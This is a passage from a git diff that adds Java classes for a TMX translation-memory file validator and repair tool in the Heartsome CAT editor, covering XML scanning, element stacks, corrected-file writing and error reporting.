QName[10]; + for (int i = 0; i < fElements.length; i++) { + fElements[i] = new QName(); + } + } + + /** + * Pushes an element on the stack. + *

    + * Note: The QName values are copied into the stack. In other words, the caller does + * not orphan the element to the stack. Also, the QName object returned is not orphaned to the + * caller. It should be considered read-only. + * @param element + * The element to push onto the stack. + * @return Returns the actual QName object that stores the + */ + public QName pushElement(QName element) { + if (fSize == fElements.length) { + QName[] array = new QName[fElements.length * 2]; + System.arraycopy(fElements, 0, array, 0, fSize); + fElements = array; + for (int i = fSize; i < fElements.length; i++) { + fElements[i] = new QName(); + } + } + fElements[fSize].setValues(element); + return fElements[fSize++]; + } // pushElement(QName):QName + + /** + * Pops an element off of the stack by setting the values of the specified QName. + *

    + * Note: The object returned is not orphaned to the caller. Therefore, the caller + * should consider the object to be read-only. + */ + public void popElement(QName element) { + element.setValues(fElements[--fSize]); + } // popElement(QName) + + /** Clears the stack without throwing away existing QName objects. */ + public void clear() { + fSize = 0; + } // clear() + + } // class ElementStack + + class TmxDispatcher { + void dispatch() throws IOException { + boolean again; + do { + again = false; + switch (scanState) { + case SCANNER_STATE_CONTENT: { + if (entityScanner.skipChar('<')) { + setScannerState(SCANNER_STATE_START_OF_MARKUP); + again = true; + } else if (entityScanner.skipChar('&')) { + setScannerState(SCANNER_STATE_REFERENCE); + again = true; + } else { + do { + int c = scanContent(); + if (c == '<') { + entityScanner.scanChar(); + setScannerState(SCANNER_STATE_START_OF_MARKUP); + break; + } else if (c == '&') { + entityScanner.scanChar(); + setScannerState(SCANNER_STATE_REFERENCE); + break; + } else if (c != -1 && XMLChar.isInvalid(c)) { + if (XMLChar.isHighSurrogate(c)) { + // special case: surrogates + fStringBuffer.clear(); + if (scanSurrogates(fStringBuffer)) { + } + } else { + // TODO + // reportFatalError("InvalidCharInContent", + // new Object[] { + // Integer.toString(c, 16)}); + entityScanner.scanChar(); + } + } + } while (complete); + } + break; + } + case SCANNER_STATE_START_OF_MARKUP: { + // fMarkupDepth++; + if (entityScanner.skipChar('/')) { + if (scanEndElement() == 0) { + // if (elementDepthIsZeroHook()) { + // return true; + // } + } + setScannerState(SCANNER_STATE_CONTENT); + } else if (XMLChar.isNameStart(entityScanner.peekChar())) { + scanStartElement(); + tryWriteStart(); + setScannerState(SCANNER_STATE_CONTENT); + } else if (entityScanner.skipChar('!')) { + if (entityScanner.skipChar('-')) { + // TODO + // if (!entityScanner.skipChar('-')) { + // reportFatalError("InvalidCommentStart", + // null); + // } + setScannerState(SCANNER_STATE_COMMENT); + again = true; + } else if (entityScanner.skipString("[CDATA[")) { + setScannerState(SCANNER_STATE_CDATA); + again = true; + } + // TODO + // else if (!scanForDoctypeHook()) { + // reportFatalError("MarkupNotRecognizedInContent", + // null); + // } + } else if (entityScanner.skipChar('?')) { + setScannerState(SCANNER_STATE_PI); + again = true; + } + // else if (isValidNameStartHighSurrogate(entityScanner.peekChar())) { + // scanStartElement(); + // setScannerState(SCANNER_STATE_CONTENT); + // } + else { + // TODO + // reportFatalError("MarkupNotRecognizedInContent", + // null); + setScannerState(SCANNER_STATE_CONTENT); + } + break; + } + case SCANNER_STATE_COMMENT: { + scanComment(); + setScannerState(SCANNER_STATE_CONTENT); + break; + } + case SCANNER_STATE_PI: { + scanPI(); + setScannerState(SCANNER_STATE_CONTENT); + break; + } + case SCANNER_STATE_CDATA: { + scanCDATASection(complete); + setScannerState(SCANNER_STATE_CONTENT); + break; + } + case SCANNER_STATE_REFERENCE: { + // fMarkupDepth++; + // NOTE: We need to set the state beforehand + // because the XMLEntityHandler#startEntity + // callback could set the state to + // SCANNER_STATE_TEXT_DECL and we don't want + // to override that scanner state. + setScannerState(SCANNER_STATE_CONTENT); + if (entityScanner.skipChar('#')) { + scanCharReference(); + } else { + scanEntityReference(); + } + break; + } + case SCANNER_STATE_TEXT_DECL: + // scan text decl + if (entityScanner.skipString(",

    , , , , , , , , . + // Inline elements , , , , , , . + boolean isInvalidTag(String localpart) { + + Set tagSeg = new HashSet(); + tagSeg.add("tmx"); + tagSeg.add("header"); + tagSeg.add("map"); + tagSeg.add("body"); + tagSeg.add("note"); + tagSeg.add("prop"); + tagSeg.add("tu"); + tagSeg.add("tuv"); + tagSeg.add("seg"); + tagSeg.add("ude"); + return !tagSeg.contains(localpart); + } + + private void appendStartElem(QName qName, XMLAttributesImpl attr) throws IOException { + + if (!errorCode.isEmpty()) { + new ErrorDescription(errorCode.lineNumber, errorCode.columnNumber, errorCode.getDescription()); + errorCode.clear(); + } + // set default + if (qName == null) { + qName = fCurrentElement; + } + if (attr == null) { + attr = fAttributes; + } + + writer.write('<'); + writer.write(qName.rawname); + for (int i = 0; i < attr.getLength(); i++) { + writer.write(' '); + writer.write(attr.getQName(i)); + writer.write('='); + writer.write('\"'); + writer.write(attr.getValue(i)); + writer.write('\"'); + } + writer.write('>'); + + // for debug + if (debug) { + StringBuffer buf = new StringBuffer(); + buf.append('<'); + buf.append(qName.rawname); + for (int i = 0; i < attr.getLength(); i++) { + buf.append(' '); + buf.append(attr.getQName(i)); + buf.append('='); + buf.append('\"'); + buf.append(attr.getValue(i)); + buf.append('\"'); + } + buf.append('>'); + System.out.println("w====w:write start elem:" + buf.toString()); + } + writer.flush(); + // end debug + } + + private void appendErrorCode() throws IOException { + QName qName = fCurrentElement; + XMLAttributesImpl attr = fAttributes; + + StringBuilder builder = new StringBuilder(); + builder.append('<').append(qName.rawname); + for (int i = 0; i < attr.getLength(); i++) { + builder.append(' ').append(attr.getQName(i)).append('=').append('\"').append(attr.getValue(i)).append('\"'); + } + builder.append('>'); + + errorCode.append(builder.toString()); + + // for debug + if (debug) { + System.out.println("error code: start elem:" + builder.toString()); + } + // end debug + } + + private void appendEndElem(String elem) throws IOException { + writer.write(""); + + // for debug + if (debug) { + StringBuffer buf = new StringBuffer(); + buf.append("'); + System.out.println("w====w:write end elem:" + buf.toString()); + } + writer.flush(); + // end debug + } + + private void appendContent(String str) throws IOException { + writer.write(str); + + // for debug + if (debug) { + System.out.println("w====w:write content:" + str); + } + writer.flush(); + // end debug + } + + private boolean appendCharacter(String character) throws IOException { + if (scope.isEmpty()) { + return false; + } + String parent = scope.lastElement(); + if (parent.equals("note") || parent.equals("prop") || parent.equals("seg")) { + appendContent(character); + return true; + } + return false; + } + + private String scanPseudoAttribute(boolean scanningTextDecl, XMLString value) throws IOException { + String name = entityScanner.scanName(); + if (name == null) { + error("not found paseudo attribute"); + } + entityScanner.skipDeclSpaces(); + if (!entityScanner.skipChar('=')) { + error("not found '='"); + } + entityScanner.skipDeclSpaces(); + int quote = entityScanner.peekChar(); + if (quote != '\'' && quote != '"') { + error("not found quote when scan pseudo attribute"); + } + entityScanner.scanChar(); + int c = entityScanner.scanLiteral(quote, value); + if (c != quote) { + fStringBuffer2.clear(); + do { + fStringBuffer2.append(value); + if (c != -1) { + if (c == '&' || c == '%' || c == '<' || c == ']') { + fStringBuffer2.append((char) entityScanner.scanChar()); + } + // REVISIT: Even if you could reliably read non-ASCII chars + // why bother scanning for surrogates here? Only ASCII chars + // match the productions in XMLDecls and TextDecls. -- mrglavas + else if (XMLChar.isHighSurrogate(c)) { + scanSurrogates(fStringBuffer2); + } else if (XMLChar.isInvalid(c)) { + String key = scanningTextDecl ? "InvalidCharInTextDecl" : "InvalidCharInXMLDecl"; + error("invalid char '&#" + Integer.toHexString(c) + "'"); + // reportFatalError(key, + // new Object[] {Integer.toString(c, 16)}); + entityScanner.scanChar(); + } + } + c = entityScanner.scanLiteral(quote, value); + } while (c != quote); + fStringBuffer2.append(value); + value.setValues(fStringBuffer2); + } + if (!entityScanner.skipChar((char) quote)) { + error("not found close quote"); + } + + // return + return name; + } + + static void error(String error) { + if (debug) { + System.err.println(error); + } + } + + public void copyQname(QName src, QName dest) { + dest.localpart = src.localpart; + dest.prefix = src.prefix; + dest.rawname = src.rawname; + dest.uri = src.uri; + } + + public int testDepth(String str) { + if (str == null) { + return -1; + } + if (str.equals("tmx")) + return 1; + if (str.equals("header") || str.equals("body")) + return 2; + if (str.equals("tu") || str.equals("ude")) + return 3; + if (str.equals("tuv")) + return 4; + if (str.equals("note") || str.equals("prop") || str.equals("seg")) + return 5; + else + return -1; + } + + class TmxNode { + int depth; + QName qName = new QName(); + XMLAttributesImpl attributes = new XMLAttributesImpl(); + XMLStringBuffer xmlbuf = new XMLStringBuffer(); + } + + class TmxNodeStack { + int defaultSize = 10; + int position = -1; + TmxNode[] tmxNodes = new TmxNode[defaultSize]; + + void push(TmxNode node) { + if (position == tmxNodes.length) { + System.arraycopy(tmxNodes, 0, tmxNodes, 0, position + defaultSize); + } + } + + void pop(TmxNode node) { + if (position < 0) { + node = null; + } + node = tmxNodes[position]; + position--; + } + } + + class ErrorDescription { + ErrorDescription(int lineNumber, int columnNumber, String description) { + this.lineNumber = lineNumber; + this.columnNumber = columnNumber; + this.description = description; + reportError = true; + errorFIFO.add(this); + } + + int lineNumber; + int columnNumber; + + String description; + } + + class ErrorCode { + String description = null; + int lineNumber = 0; + int columnNumber = 0; + + XMLStringBuffer buf = new XMLStringBuffer(); + + void clear() { + buf.clear(); + } + + public String getDescription() { + return description == null || description.isEmpty() ? Messages + .getString("tmxeditor.tmxFileValidator.autofix.unknown") : description; + } + + ErrorCode append(String str) { + buf.append(str); + setPosition(entityScanner.getLineNumber(), entityScanner.getColumnNumber()); + return this; + } + + void setDescription(String description) { + this.description = description; + } + + boolean isEmpty() { + return buf.length < 1; + } + + private void setPosition(int lineNumber, int columnNumber) { + if (buf.length > 0) { + this.lineNumber = lineNumber; + this.columnNumber = columnNumber; + } + } + + @Override + public String toString() { + return buf.toString(); + } + } + + public boolean isFinish() { + return complete; + } + + public void setProgressBar(ProgressBar progressBar) { + this.progressBar = progressBar; + } + + public void clear() { + try { + if (writer!= null) { + writer.close(); + } + if (tmpFilePath != null) { + File file = new File(tmpFilePath); + if (file.exists()) { + file.delete(); + } + } + } catch (Exception e) {} + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/CorrectWriter.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/CorrectWriter.java new file mode 100644 index 0000000..d751900 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/CorrectWriter.java @@ -0,0 +1,355 @@ +/** + * CorrectWriter.java + * + * Version information : + * + * Date:2013-12-18 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.utils.tmxvalidator; + +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.OutputStreamWriter; +import java.text.MessageFormat; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.te.core.bean.TmxTemplet; +import net.heartsome.cat.te.core.resource.Messages; + +import org.apache.xerces.util.XMLAttributesImpl; +import org.apache.xerces.util.XMLStringBuffer; +import org.apache.xerces.xni.QName; +import org.apache.xerces.xni.XMLString; + +/** + * @author Austen + * @version + * @since JDK1.6 + */ +public class CorrectWriter { + + private boolean correctEncoding; + private String encoding = "UTF-8"; + private String location = null; + private BufferedWriter bw = null; + private ElementStack stack = new ElementStack(); + private TmxSchema schema = new TmxSchema(); + private Record record = new Record(); + + public CorrectWriter(String filePath) throws IOException { + File file = new File(filePath); + location = filePath; + bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file), encoding)); + } + + public void write(String str) throws IOException { + bw.write(str); + } + + public void setEncoding(String encoding) { + this.encoding = encoding; + } + + public void close() throws IOException { + if (bw != null) { + bw.append("\n"); + bw.append("\n"); + try { + bw.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } else { + record.changed = false; + } + + } + + public void setCorrectEncoding(boolean correctEncoding) { + this.correctEncoding = correctEncoding; + } + + public boolean isCorrectEncoding() { + return correctEncoding; + } + + public String getEncoding() { + return encoding; + } + + public void writeXmlDecl(String version, String encoding, String stanlone) throws IOException { + StringBuilder builder = new StringBuilder(); + builder.append("\n"); + bw.write(builder.toString()); + record.xmldecl = true; + } + + public void writeDoctype(String root, String publicid, String systemid) throws IOException { + StringBuilder builder = new StringBuilder(); + builder.append("'); + builder.append('\n'); + bw.write(builder.toString()); + record.doctype = true; + } + + /** + * 跳过错误的 tu + * @param qname + * @param attributes + * @throws IOException + * ; + * @throws RepairableException + */ + public void writeStartElement(QName qname, XMLAttributesImpl attributes) throws IOException, RepairableException { + + // build XML string + String xmlStr = buildStartElementXmlStr(qname, attributes); + + // if root + if (qname.rawname.equals("tmx")) { + if (!record.root) { + // before append root + checkDoctype(); + + stack.pushElement(qname); + bw.append(xmlStr); + bw.append("\n"); + record.root = true; + return; + } else { + throw new RepairableException(Messages.getString("tmxeditor.tmxFileValidator.autofix.unknown")); + } + } + + // push header + if (qname.rawname.equals("header")) { + if (!record.header) { + // before append header + checkRoot(); + stack.pushElement(qname); + bw.append(xmlStr); + record.header = true; + return; + } else { + throw new RepairableException(Messages.getString("tmxeditor.tmxFileValidator.autofix.unknown")); + } + } + + // push body + if (qname.rawname.equals("body")) { + if (!record.body) { + // before append body + checkHeader(); + + stack.pushElement(qname); + bw.append(xmlStr); + record.body = true; + return; + } else { + throw new RepairableException(Messages.getString("tmxeditor.tmxFileValidator.autofix.unknown")); + } + } + + // check if tu node set + if ("tu".equals(qname.rawname)) {// 下个 tu + if (record.tuset) { + // before append tu set + checkBody(); + + record.xmls.clear(); + record.tuset = true; + record.xmls.append(xmlStr); + stack.pushElement(qname); + // if root element lost! + if (stack.fSize == 0) { + QName tmxq = new QName(); + tmxq.localpart = "tmx"; + tmxq.prefix = ""; + tmxq.rawname = "tmx"; + tmxq.uri = ""; + stack.pushElement(tmxq); + } + } else {// 介个tu + QName tq = new QName(); + stack.lastElement(tq); + record.tuset = !schema.isInvalid(qname) && schema.isElementAccept(tq, qname); + record.xmls.append(xmlStr); + stack.pushElement(qname); + } + } + + if (stack.fSize != 0) { + QName lqn = new QName(); + stack.lastElement(lqn); + if (schema.isElementAccept(lqn, qname)) { + record.xmls.append(xmlStr); + stack.pushElement(qname); + } + } + + } + + public void writeEndElement(QName qname) throws IOException, RepairableException { + + if (stack.fSize == 0) { + return; + } + + if (record.body && !record.tuset) { + return; + } + + // 是å¦åˆæ³• + if (schema.isInvalidElement(qname)) { + record.tuset = false; + record.xmls.clear(); + return; + } + + // 是å¦é…对 + QName tq = new QName(); + stack.lastElement(tq); + if (qname.rawname.equals(tq.rawname)) { + // build XML string + StringBuilder builder = new StringBuilder(); + builder.append("\n"); + record.xmls.append(builder.toString()); + stack.popElement(tq); + } else { + record.tuset = false; + record.xmls.clear(); + } + + // ok flush this tu + if (tq.rawname.equals("tu") && record.tuset) { + record.countTu++; + record.tuset = false; + bw.write(record.xmls.ch, record.xmls.offset, record.xmls.length); + } + } + + public void write(XMLString content) throws IOException, RepairableException { + if (stack.fSize == 0) { + return; + } + QName tq = new QName(); + stack.lastElement(tq); + record.textAccept = schema.isTextAccept(tq, content); + if (record.textAccept) { + record.xmls.append(content); + } else { + record.textAccept = false; + record.xmls.clear(); + record.tuset = false; + throw new RepairableException( + MessageFormat.format(Messages.getString("tmxeditor.tmxFileValidator.autofix.errorcode"), tq.rawname, "")); + } + } + + class Record { + + int countTu = 0; + + boolean changed = false; + + boolean xmldecl = false; + boolean doctype = false; + boolean root = false; + boolean header = false; + boolean body = false; + boolean tuset = false; + boolean headerset = false; + boolean textAccept = false; + + // 1 for header 2 for body + int writing = 0; + + XMLStringBuffer xmls = new XMLStringBuffer(); + } + + public boolean hasChanged() { + return record.changed; + } + + public String getLocation() { + return location; + } + + private String buildStartElementXmlStr(QName qname, XMLAttributesImpl attributes) { + + boolean format = attributes.getLength() > 3; + + StringBuilder builder = new StringBuilder(); + builder.append("<").append(qname.rawname); + for (int i = 0; i < attributes.getLength(); i++) { + if (format) { + builder.append("\n\t"); + } + builder.append(' ').append(attributes.getName(i)).append('=').append('\"').append(attributes.getValue(i)) + .append('\"'); + } + builder.append('>'); + return builder.toString(); + } + + private void checkDeclaration() throws IOException { + if (!record.xmldecl) { + bw.append("\n"); + record.changed = true; + record.xmldecl = true; + } + } + + private void checkDoctype() throws IOException { + checkDeclaration(); + // doctype + if (!record.doctype) { + bw.append("\n"); + record.changed = true; + record.doctype = true; + } + } + + private void checkRoot() throws IOException { + checkDoctype(); + if (!record.root) { + bw.append(""); + stack.pushElement(new QName(null, "tmx", "tmx", null)); + record.changed = true; + record.root = true; + } + } + + private void checkHeader() throws IOException { + checkRoot(); + if (!record.header) { + TmxHeader header = TmxTemplet.generateTmxHeader("*all*", null, null, null, null, null, null); + bw.append(TmxTemplet.header2Xml(header)); + record.changed = true; + record.header = true; + } + } + + private void checkBody() throws IOException { + checkHeader(); + if (!record.body) { + bw.append(""); + record.changed = true; + record.body = true; + } + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/ElementStack.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/ElementStack.java new file mode 100644 index 0000000..388bf43 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/ElementStack.java @@ -0,0 +1,98 @@ +/** + * ElementStack.java + * + * Version information : + * + * Date:2013-12-20 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.utils.tmxvalidator; + +import org.apache.xerces.xni.QName; + +/** + * xni 内部类,纯属copy。 + * @author Austen + * @version + * @since JDK1.6 + */ +class ElementStack { + + // + // Data + // + + /** The stack data. */ + protected QName[] fElements; + + /** The size of the stack. */ + protected int fSize; + + // + // Constructors + // + + /** Default constructor. */ + public ElementStack() { + fElements = new QName[10]; + for (int i = 0; i < fElements.length; i++) { + fElements[i] = new QName(); + } + } // () + + // + // Public methods + // + + /** + * Pushes an element on the stack. + *

    + * Note: The QName values are copied into the + * stack. In other words, the caller does not orphan + * the element to the stack. Also, the QName object returned + * is not orphaned to the caller. It should be + * considered read-only. + * + * @param element The element to push onto the stack. + * + * @return Returns the actual QName object that stores the + */ + public QName pushElement(QName element) { + if (fSize == fElements.length) { + QName[] array = new QName[fElements.length * 2]; + System.arraycopy(fElements, 0, array, 0, fSize); + fElements = array; + for (int i = fSize; i < fElements.length; i++) { + fElements[i] = new QName(); + } + } + fElements[fSize].setValues(element); + return fElements[fSize++]; + } // pushElement(QName):QName + + /** + * Pops an element off of the stack by setting the values of + * the specified QName. + *

    + * Note: The object returned is not + * orphaned to the caller. Therefore, the caller should consider + * the object to be read-only. + */ + public void popElement(QName element) { + element.setValues(fElements[--fSize]); + } // popElement(QName) + + /** Clears the stack without throwing away existing QName objects. */ + public void clear() { + fSize = 0; + } // clear() + + public void lastElement(QName element) { + element.setValues(fElements[fSize - 1]); + } + +} // class ElementStack \ No newline at end of file diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/RepairableException.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/RepairableException.java new file mode 100644 index 0000000..47c4e34 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/RepairableException.java @@ -0,0 +1,34 @@ +/** + * RepairableException.java + * + * Version information : + * + * Date:2013-12-24 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.utils.tmxvalidator; + +/** + * @author Austen + * @version + * @since JDK1.6 + */ +class RepairableException extends TmxValidatorException { + private static final long serialVersionUID = 1L; + + public RepairableException() { + super(); + } + + public RepairableException(String message) { + super(message); + } + + public RepairableException(Throwable cause) { + super(cause); + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/ReportBoard.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/ReportBoard.java new file mode 100644 index 0000000..0da8694 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/ReportBoard.java @@ -0,0 +1,88 @@ +/** + * Report.java + * + * Version information : + * + * Date:2013-12-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.utils.tmxvalidator; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.widgets.Display; + +/** + * @author Austen + * @version + * @since JDK1.6 + */ +public class ReportBoard { + + private StyledText styledText = null; + Color red = null; + + public ReportBoard(StyledText styledText) { + this.styledText = styledText; + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + red = Display.getDefault().getSystemColor(SWT.COLOR_RED); + } + }); + } + + public void info(final String str) { + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + styledText.append(str + "\n"); + } + }); + } + + public void info(RepairableException e) { + final StringBuilder builder = new StringBuilder(); + builder.append("[Ln:").append(e.getRow()).append(", Col:").append(e.getColumn()).append("] "); +// final int l = builder.length(); + builder.append(e.getMessage()); + builder.append("\n"); + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + styledText.append(builder.toString()); +// StyleRange range = new StyleRange(0, l, red, null); +// styledText.setStyleRange(range); + } + }); + } + + public void error(final String message) { + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + styledText.append(message); +// StyleRange range = new StyleRange(0, message.length(), red, null); +// styledText.setStyleRange(range); + } + }); + } + + public void warn() {} + + public void dispose() { + if (red != null) { + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + red.dispose(); + } + }); + } + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxEndEntityException.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxEndEntityException.java new file mode 100644 index 0000000..6be661d --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxEndEntityException.java @@ -0,0 +1,34 @@ +/** + * EndEntityException.java + * + * Version information : + * + * Date:2013-12-18 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.utils.tmxvalidator; + +/** + * @author Austen + * @version + * @since JDK1.6 + */ +class TmxEndEntityException extends TmxValidatorException { + private static final long serialVersionUID = 1L; + + public TmxEndEntityException() { + super(); + } + + public TmxEndEntityException(String message) { + super(message); + } + + public TmxEndEntityException(Throwable cause) { + super(cause); + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxEntity.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxEntity.java new file mode 100644 index 0000000..d386616 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxEntity.java @@ -0,0 +1,42 @@ +package net.heartsome.cat.te.core.utils.tmxvalidator; + +import java.io.Reader; + +/** + * xni 内部类,纯属 copy + * @author Austen + * @version + * @since JDK1.6 + */ +class TmxEntity { + + private final int defaultCapability = 8192; + + public TmxEntity() { + ch = new char[defaultCapability]; + } + + public TmxEntity(int capability) { + ch = new char[capability]; + } + + public boolean literal; + + public int hasLoad = 0; + + public int baseCharOffset = 0; + + public int lineNumber = 1; + + public int columnNumber = 1; + + public int startPosition = 0; + + public int position = 0; + + public int count = 0; + + public char[] ch = null; + + public Reader reader; +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxEntityScanner2.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxEntityScanner2.java new file mode 100644 index 0000000..f60b09c --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxEntityScanner2.java @@ -0,0 +1,594 @@ +package net.heartsome.cat.te.core.utils.tmxvalidator; + +import java.io.IOException; + +import org.apache.xerces.util.XMLChar; +import org.apache.xerces.util.XMLStringBuffer; +import org.apache.xerces.xni.QName; +import org.apache.xerces.xni.XMLString; + +/** + * xni 类,精简+copy。 + * @author Austen + * @version + * @since JDK1.6 + */ +public class TmxEntityScanner2 { + + private TmxEntity entity = null; + private boolean finish = false; + private boolean hasReader = true; + + public TmxEntityScanner2(TmxEntity entity) { + this.entity = entity; + } + + public int getLineNumber() { + return entity.lineNumber; + } + + public int getOffsetNumber() { + return entity.columnNumber; + } + + public int getHasLoad() { + return entity.hasLoad; + } + + public TmxEntityScanner2(XMLStringBuffer buf) { + entity = new TmxEntity(); + entity.ch = buf.ch; + entity.count = buf.ch.length; + hasReader = false; + } + + char peekChar() throws IOException, TmxEndEntityException { + if (entity.position == entity.count) { + load(0); + } + + char c = entity.ch[entity.position]; + return (c != '\r') ? c : '\n'; + } + + char scanChar() throws IOException, TmxEndEntityException { + char c = peekChar(); + entity.position++; + + if (c == '\n') { + entity.lineNumber++; + entity.columnNumber = 1; + if (entity.position == entity.count) { + entity.ch[0] = c; + load(1); + } + if (c == '\r') { + int cc = entity.ch[entity.position++]; + if (cc != '\n' && c != 0x85) { + entity.position--; + } + } + c = '\n'; + } + return c; + } + + String scanName() throws IOException, TmxEndEntityException { + if (entity.position == entity.count) { + load(0); + } + + int offset = entity.position; + if (XMLChar.isNameStart(entity.ch[offset])) { + if (++entity.position == entity.count) { + entity.ch[0] = entity.ch[offset]; + offset = 0; + if (load(1)) { + entity.columnNumber++; + return new String(entity.ch, 